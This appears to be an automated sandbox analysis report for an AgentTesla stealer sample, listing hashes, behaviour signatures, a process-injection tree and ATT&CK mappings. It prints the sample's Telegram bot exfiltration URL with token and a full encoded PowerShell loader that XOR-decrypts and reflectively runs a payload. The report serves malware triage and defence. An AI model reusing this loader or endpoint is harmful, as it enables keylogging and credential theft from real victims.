agenttesla | 3ab003a20184b2754befbeaf0e0e9576a352011f9327c69f4eeec7da91f2c924

Analysis

max time kernel
93s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10/05/2024, 01:21

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General

Target
3ab003a20184b2754befbeaf0e0e9576a352011f9327c69f4eeec7da91f2c924.exe
Size 30.8MB
Sample240510-bq4phaae4v
SHA256 3ab003a20184b2754befbeaf0e0e9576a352011f9327c69f4eeec7da91f2c924
MD5 2dadd37b94c4acf9aefff7f7e9b1da95
SHA1 6a9062aa0bbc9d80b417a0c144d646b1f170111f
SHA512 0092e60fb9e3803cdc6d89b049b43c7f36fa13a61b0e5cc7f62eaf835ca7fb4f47e1d04cba4c76f45b90140222d6d283d628d5b8ef4b9b44c7de9e5c8a51eed4
SSDEEP 393216:VQgHDlanaGBXvDKtz+bhPWES4tiNQPNrIKc4gaPbUAgrO4mg196l+ZArYsFRliH:V3on1HvSzxAMN1FZArYs6H
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

https://api.telegram.org/bot7073303548:AAGe4Dqg9S8OLUPUmOn7rJuegf2uPmCoxec/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1124 set thread context of 4764	1124	powershell.exe	92

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1124	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
1124	powershell.exe
4764	regsvcs.exe
4764	regsvcs.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	4764	regsvcs.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 4144	1328	3ab003a20184b2754befbeaf0e0e9576a352011f9327c69f4eeec7da91f2c924.exe	86
PID 1328 wrote to memory of 4144	1328	3ab003a20184b2754befbeaf0e0e9576a352011f9327c69f4eeec7da91f2c924.exe	86
PID 4144 wrote to memory of 1124	4144	cmd.exe	87
PID 4144 wrote to memory of 1124	4144	cmd.exe	87
PID 1124 wrote to memory of 4764	1124	powershell.exe	92
PID 1124 wrote to memory of 4764	1124	powershell.exe	92
PID 1124 wrote to memory of 4764	1124	powershell.exe	92
PID 1124 wrote to memory of 4764	1124	powershell.exe	92
PID 1124 wrote to memory of 4764	1124	powershell.exe	92
PID 1124 wrote to memory of 4764	1124	powershell.exe	92
PID 1124 wrote to memory of 4764	1124	powershell.exe	92
PID 1124 wrote to memory of 4764	1124	powershell.exe	92

C:\Users\Admin\AppData\Local\Temp\3ab003a20184b2754befbeaf0e0e9576a352011f9327c69f4eeec7da91f2c924.exe
"C:\Users\Admin\AppData\Local\Temp\3ab003a20184b2754befbeaf0e0e9576a352011f9327c69f4eeec7da91f2c924.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -EncodedCommand CgAkAGYAaQBsAGUAUABhAHQAaAAgAD0AIAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEEAcABwAEQAYQB0AGEAXABcAEwAbwBjAGEAbABcAFwAVABlAG0AcABcAFwAZgBpAGwAZQAtAGwANgBnADUAaAA5AHEANQBqAC4AdABtAHAAJwA7AAoAJABlAG4AYwByAHkAcAB0AGUAZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAGYAaQBsAGUAUABhAHQAaAApADsACgAkAGQAZQBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoADsACgAkAGsAZQB5ACAAPQAgACIAZQA3AGUAYQA2ADAAZABlAGUAMQA0ADEANAAyAGYANwA5ADIAMgBiADgAYQA0ADQAZgA4AGMAYgA4ADUAYwBkACIAOwAKACQAawBlAHkASQBuAGQAZQB4ACAAPQAgADAAOwAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAkAGQAZQBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwBbACQAaQBdACAAPQAgAFsAYgB5AHQAZQBdACgAJABlAG4AYwByAHkAcAB0AGUAZABCAHkAdABlAHMAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGsAZQB5AEkAbgBkAGUAeABdACkAOwAKACAAIAAgACAAJABrAGUAeQBJAG4AZABlAHgAIAA9ACAAKAAkAGsAZQB5AEkAbgBkAGUAeAAgACsAIAAxACkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoADsACgB9AAoAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAZABlAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACkAOwAKACQAZQBuAHQAcgB5AFAAbwBpAG4AdAAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAKACQAZQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoA"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -EncodedCommand CgAkAGYAaQBsAGUAUABhAHQAaAAgAD0AIAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEEAcABwAEQAYQB0AGEAXABcAEwAbwBjAGEAbABcAFwAVABlAG0AcABcAFwAZgBpAGwAZQAtAGwANgBnADUAaAA5AHEANQBqAC4AdABtAHAAJwA7AAoAJABlAG4AYwByAHkAcAB0AGUAZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAGYAaQBsAGUAUABhAHQAaAApADsACgAkAGQAZQBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoADsACgAkAGsAZQB5ACAAPQAgACIAZQA3AGUAYQA2ADAAZABlAGUAMQA0ADEANAAyAGYANwA5ADIAMgBiADgAYQA0ADQAZgA4AGMAYgA4ADUAYwBkACIAOwAKACQAawBlAHkASQBuAGQAZQB4ACAAPQAgADAAOwAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAkAGQAZQBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwBbACQAaQBdACAAPQAgAFsAYgB5AHQAZQBdACgAJABlAG4AYwByAHkAcAB0AGUAZABCAHkAdABlAHMAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGsAZQB5AEkAbgBkAGUAeABdACkAOwAKACAAIAAgACAAJABrAGUAeQBJAG4AZABlAHgAIAA9ACAAKAAkAGsAZQB5AEkAbgBkAGUAeAAgACsAIAAxACkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoADsACgB9AAoAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAZABlAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACkAOwAKACQAZQBuAHQAcgB5AFAAbwBpAG4AdAAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAKACQAZQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoA
    3⤵
    - Suspicious use of SetThreadContext
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1124
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_wvqjz5gp.kre.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvqjz5gp.kre.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

file-l6g5h9q5j.tmp

Path C:\Users\Admin\AppData\Local\Temp\file-l6g5h9q5j.tmp
Size 25KB
SHA256 6163e0f2a5b2b3646e30110b41a465811341d8f4d8b1447f4229f5c817e898ff
MD5 4956267245911f00d2153d7bb09e3968
SHA1 78fe367a3195099fd5919f9ab85472cbb0036835
SHA512 46b3c2f4e248602cff5c6dcffe994ff029774240a6de98f341fd07c66a8001ccb23d67534d6b78b2f8a0eccded4241c6e8085d6ae8163be5ca189b1a92c82fb8
SSDEEP 768:bL4m/yUggSrA+wMTPnx6BmmNMQxeo3q+cm/V:gmq8JePVmOQxJq8/V
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1124-18-0x00007FFDAE000000-0x00007FFDAEAC1000-memory.dmp

Download

memory/1124-22-0x00007FFDAE000000-0x00007FFDAEAC1000-memory.dmp

Download

memory/1124-14-0x00007FFDAE000000-0x00007FFDAEAC1000-memory.dmp

Download

memory/1124-12-0x000001CD200D0000-0x000001CD200F2000-memory.dmp

Download

memory/1124-16-0x000001CD200C0000-0x000001CD200CA000-memory.dmp

Download

memory/1124-17-0x000001CD204D0000-0x000001CD20564000-memory.dmp

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memory/1124-2-0x00007FFDAE003000-0x00007FFDAE005000-memory.dmp

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memory/1124-13-0x00007FFDAE000000-0x00007FFDAEAC1000-memory.dmp

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memory/4764-20-0x00000000057E0000-0x0000000005D84000-memory.dmp

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memory/4764-21-0x0000000005230000-0x0000000005296000-memory.dmp

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memory/4764-19-0x0000000000400000-0x0000000000442000-memory.dmp

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memory/4764-23-0x0000000006010000-0x0000000006060000-memory.dmp

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memory/4764-24-0x0000000006100000-0x0000000006192000-memory.dmp

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memory/4764-25-0x00000000060A0000-0x00000000060AA000-memory.dmp

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